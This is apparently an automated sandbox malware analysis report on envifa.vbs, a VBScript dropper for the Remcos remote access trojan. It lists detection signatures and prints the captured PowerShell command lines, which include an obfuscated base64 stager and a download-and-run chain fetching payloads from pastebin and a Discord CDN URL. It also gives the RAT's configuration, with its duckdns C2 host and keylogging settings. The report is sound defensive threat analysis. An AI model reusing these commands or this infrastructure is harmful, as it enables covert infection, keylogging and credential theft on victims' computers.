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Windows
Analysis Report
envifa.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Snort IDS alert for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected MSILDownloaderGeneric
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 6608 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\envif a.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 6740 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ MkplqW = ' J Bs H cgB r Gw I 9 C Jw w Cc O w k G0 a B z GY bw g D0 I n CU c B6 EE Yw BP Gc SQBu E0 cg l C c OwBb FM eQBz HQ ZQ Bt C4 TgBl HQ LgBT G U cgB2 Gk YwBl F bwB p G4 d BN GE bgBh Gc ZQBy F0 O g 6 FM ZQB y HY ZQBy EM ZQBy HQ aQBm Gk Y wBh HQ ZQB W GE b Bp GQ YQB0 Gk bwBu EM Y QBs Gw YgB h GM aw g D0 I B7 CQ d By HU Z QB9 Ds WwB T Hk cwB0 GU bQ u E4 ZQB0 C4 U wBl HI dgB p GM ZQBQ G8 aQBu HQ TQBh G4 Y QBn GU cgB d Do OgBT GU YwB1 HI aQB0 Hk U By G8 d B v GM bwBs C PQ g Fs UwB5 HM d Bl G0 LgBO GU d u FM ZQBj HU c gBp HQ eQB Q HI bwB0 G8 YwBv Gw V B5 H ZQ Bd Do OgBU Gw cw x D I OwBb EI eQB0 GU Ww Bd F0 I k Ho Z Bt Hc a g D0 I Bb HM eQBz HQ ZQBt C 4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt E I YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 T wBi Go ZQB j HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G 8 dwBu Gw bwBh GQ Uw B0 HI aQBu Gc K g Cg TgBl Hc L QBP GI agB l GM d g E 4 ZQB0 C4 VwBl GI Qw Bs Gk ZQBu HQ KQ u E Q bwB3 G4 b Bv GE Z BT HQ cgBp G4 Zw o C c a B0 HQ c 6 C8 LwB w GE cwB0 GU YgBp G4 LgBj G8 b Q v HI YQB 3 C8 Vg 5 Hk NQBR DU dgB2 Cc K Q g Ck I p Ds WwBz H k cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F 0 Og 6 EM dQBy HI ZQ Bu HQ R Bv G0 YQBp G 4 LgBM G8 YQBk Cg J B6 GQ bQB3 Gg KQ u E c ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE c gB5 DM LgB D Gw YQBz HM MQ n Ck LgBH GU d BN GU d B o G8 Z o C c TQBz HE QgBJ GI WQ n Ck LgBJ G4 dgBv G s ZQ o CQ bgB1 Gw b s C WwBv G I agBl GM d Bb F0 XQ g Cg Jw m DY O w GQ MQ 4 GU N Bm DM YgB m DY N 1 D Y Yw x DM NgBh Dk M Bk DM MQ w GQ O 3 DE MgBh Dg N QBj DU O B h DM OQ 5 DU Zg x GE Z 2 GI OQ Bj Dk MQ 1 DY Nw w G Q NgBk GE Yg x GE PQ Bt Gg JgBm Dg MQ 4 G Q O 2 DY P QBz Gk JgB m D MwBk G U O 2 DY P QB4 GU PwB 0 Hg d u D c Lg 5 Gk dgBu GU Lw 4 DM N 1 DQ Mg 2 DY MQ 2 DQ O x D Mw w DY Mg x C8 MQ 2 DI N x Dc OQ w DY Mg z D I Nw z DM NQ x DI MQ v HM d Bu GU bQBo G M YQB0 HQ YQ v G0 bw Bj C4 c Bw GE Z By G 8 YwBz Gk Z u G4 Z B j C8 Lw 6 HM c B0 HQ a n C L g CQ bQBo H M ZgBv C L g Cc XwBf F8 XwBf G Q ZwBm F8 XwBf F8 Xw Bf F8 XwBf F8 XwBf F 8 XwBf F8 XwBf F8 Xw Bf F8 XwBf F8 XwBf F 8 XwBf F8 XwBf F8 Xw Bf F8 XwBf C0 LQ t C 0 LQ t C0 Jw s C J B s H cgBr G w L g Cc M Q n Cw I n FI bwBk G E Jw g Ck KQ 7 ==';$ KByHL = [s ystem.Text .Encoding] ::Unicode. GetString( [system.C onvert]::F romBase64S tring( $Mk plqW.repla ce(' ','A' ) ) );$KBy HL = $KByH L.replace( '%pzAcOgIn Mr%', 'C:\ Users\user \Desktop\e nvifa.vbs' );powershe ll -comman d $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6788 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4908 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command " $lprkl = ' 0';$mhsfo = 'C:\User s\user\Des ktop\envif a.vbs';[Sy stem.Net.S ervicePoin tManager]: :ServerCer tificateVa lidationCa llback = { $true};[Sy stem.Net.S ervicePoin tManager]: :SecurityP rotocol = [System.Ne t.Security ProtocolTy pe]::Tls12 ;[Byte[]] $zdmwh = [ system.Con vert]::Fro mBase64Str ing( (New- Object Net .WebClient ).Download String( (N ew-Object Net.WebCli ent).Downl oadString( 'http://pa stebin.com /raw/V9y5Q 5vv') ) ); [system.Ap pDomain]:: CurrentDom ain.Load($ zdmwh).Get Type('Clas sLibrary3. Class1').G etMethod(' MsqBIbY'). Invoke($nu ll, [objec t[]] ('&68 0d18e4f3bf 6456c136a9 0d310d8712 a85c58a399 5f1ad6b9c9 15670d6dab 1a=mh&f818 d866=si&f0 3de866=xe? txt.7.9ivn e/83454266 1648103062 1/16241790 6232733512 1/stnemhca tta/moc.pp adrocsid.n dc//:sptth ' , $mhsfo , '_____d gf________ __________ __________ __________ _-------', $lprkl, ' 1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 6736 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "remcoss2024feb.duckdns.org:4576:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-LD53L6", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 15 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL | Detects executables (downloaders) containing reversed URLs to raw contents of a paste | ditekSHen |
| |
INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL | Detects executables (downloaders) containing reversed URLs to raw contents of a paste | ditekSHen |
| |
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 17 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |